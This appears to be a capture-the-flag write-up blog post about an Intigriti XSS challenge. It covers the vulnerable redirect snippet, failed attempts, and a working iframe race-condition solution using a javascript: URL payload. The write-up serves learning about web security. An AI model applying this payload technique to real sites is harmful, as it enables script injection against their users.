More Intigriti XSS – Just Shy of Success

I attempted another Intigriti XSS challenge a few months ago and wanted to share my attempts.

More Intigriti XSS - Introduction

If you saw my last post, then you are at least partially familiar with these XSS challenges.

This was another interesting challenge that they posted, and I wanted a shot at it.

Unfortunately, I was unable to solve this challenge at all completely. That said, I found a lot of great solutions, and got close in the end.

The Challenge

If Intigriti removes the the challenge, then you can find the vulnerable code snippet below.

  const whitelist = ['intigriti.com','intigriti.io'];
  var url = new URL(location.hash.substr(1));
  if(whitelist.indexOf(url.hostname) > -1){
    document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
    window.setTimeout(function(){
      location = location.hash.substr(1);
    });
  }
  else{
    document.write(url.hostname + " is not a valid domain.")
  }

You can find the challenge specifics below as well.

  • Goal: trigger a javascript pop-up on tchallege.intigriti.io using a XSS vulnerability introduced by the javascript snippet above in the latest version of Google Chrome or Firefox
  • Tips: We'll tweet out a tip for every 100 likes at https://twitter.com/intigriti
  • Done?: Submit your solution to https://go.intigriti.com/submit-solution
  • Date: This challenge runs from Monday Nov 18 until Sunday Nov 24
  • Prize: The winner gets a Burp Suite Pro License
  • Winner: Out of all correct submissions, we'll randomly draw a winner and announce it on our Twitter profile on Nov 25th

Finally, here are the hints that Intigriti tweeted.

  • 100 likes, time for the first tip! You all need a timeout!
  • 200 likes, tip time! Bug bounty is always a bit like a race...
  • Did someone just buy likes? 😂 Another tip: follow the thread
  • 400 likes, time for another tip! #1 #2
  • Another hint: it might take a few tries

Intigriti XSS - Attempted Solution(s)

With the challenge in hand, I started to work on my solution.

First, I tried to understand how the URL constructor worked.

> var url = new URL('intigriti.com');
VM36:1 Uncaught TypeError: Failed to construct 'URL': Invalid URL
    at <anonymous>:1:11

More Intigriti XSS - Failed URL

As it turns out, the protocol is needed, so that immediately eliminated a few of my first ideas.

> var url = new URL('https://www.intigriti.com');
undefined
> url
URL {href: "https://www.intigriti.com/", origin: "https://www.intigriti.com", protocol: "https:", username: "", password: "", …}
> url.hostname
"www.intigriti.com"

Next, I tried using a subdomain (www) of one of the white-listed URLs.

https://challenge.intigriti.io/#https://www.intigriti.com

WWW

I also spent a lot of time reading the URL spec, so at least I learned something.

When that didn't work, I used a site from the list itself, to verify functionality.

https://challenge.intigriti.io/#https://intigriti.com

Successful redirect

Next, I wanted to see how JavaScript handled multiple hashes in one URL. Unfortunately, it appeared that only the first one was considered the location.hash.

https://challenge.intigriti.io/#https://testing123.com#https://intigriti.com

> location.hash
"#https://testing123.com#https://intigriti.com"
> var url = new URL(location.hash.substr(1));
undefined
> url
URL {href: "https://testing123.com/#https://intigriti.com", origin: "https://testing123.com", protocol: "https:", username: "", password: "", …}hash: "#https://intigriti.com"host: "testing123.com"hostname: "testing123.com"href: "https://testing123.com/#https://intigriti.com"origin: "https://testing123.com"password: ""pathname: "/"port: ""protocol: "https:"search: ""searchParams: URLSearchParams {}username: ""__proto__: URL

Additionally, I tried to inject some HTML in the location.hash, in spite of the encodeURIComponent call.

https://challenge.intigriti.io/#https://intigriti.com#%22%3E%3Cb%3Etest%3C/b%3E

Unfortunately, this did not work, and I did not inject any HTML.

Redirecting you to https%3A%2F%2Fintigriti.com%2F%23%2522%253E%253Cb%253Etest%253C%2Fb%253E...

More Intigriti XSS - Injection attempt

Nearly Successful

Between the hints and my attempts, I had a pretty good handle on the solution.

I thought (correctly) that I needed to exploit a race condition on the hash between the white-list and the redirect.

First, to verify this, I used a valid URL before the redirect.

https://challenge.intigriti.io/#https://intigriti.io

Redirect paused

Once I got to the redirect line, I changed the hash and resumed execution.

https://challenge.intigriti.io/#javascript:alert(document.domain)

Debugger alert

This worked and confirmed that I was on the right path.

Unfortunately, I was unable to progress past this point, and the challenge ended.

Correct Solution

After the challenge ended, I read a few solutions, and realized that I was on the right path.

In the end, I would have used a page like this for my solution.

<html>
<head>
<title>Intigriti XSS Challenge</title>	
</head>

<body>
    <iframe id= "xss" src="https://challenge.intigriti.io/#https://intigriti.io"></iframe>
</body>

<script>   	
    setTimeout(function(e){document.getElementById('xss').src = "https://challenge.intigriti.io/#javascript:alert(document.domain)"},200);
</script>

</html>

As you can see, this successfully popped my alert!

More Intigriti XSS - Successful alert

That said, I didn't realize this was in the spirit of the competition, and that was my fault.

More Intigriti XSS - Conclusion

This was a fun challenge, although I'm a little disappointed that I couldn't solve it in time.

I'm looking forward to more XSS posts or challenges, so stay tuned.

Here are just a few of the solutions that I read when it was over, and it was awesome seeing such variety between them. If you have another unique solution that you'd like me to see or add, then let me know!

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.